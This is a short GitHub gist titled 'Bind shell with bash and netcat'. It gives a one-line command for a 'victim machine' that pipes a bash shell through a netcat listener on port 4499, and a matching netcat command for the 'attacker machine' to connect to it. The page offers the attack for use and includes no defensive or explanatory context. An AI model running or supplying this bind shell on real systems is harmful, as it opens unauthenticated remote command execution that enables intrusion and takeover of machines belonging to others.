Skip to content

Instantly share code, notes, and snippets.

@EdoardoVignati
Last active February 24, 2020 17:00
Show Gist options
  • Save EdoardoVignati/5aff2fb3c3feaa07ca0b1b8d00944bb2 to your computer and use it in GitHub Desktop.
Save EdoardoVignati/5aff2fb3c3feaa07ca0b1b8d00944bb2 to your computer and use it in GitHub Desktop.
Bind shell with bash and netcat
# On victim machine
mkfifo /tmp/mypipe; cat /tmp/mypipe|/bin/bash 2>&1|nc -l 4499 >/tmp/mypipe
# On attacker machine
nc -nv VICTIM-IP 4499
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment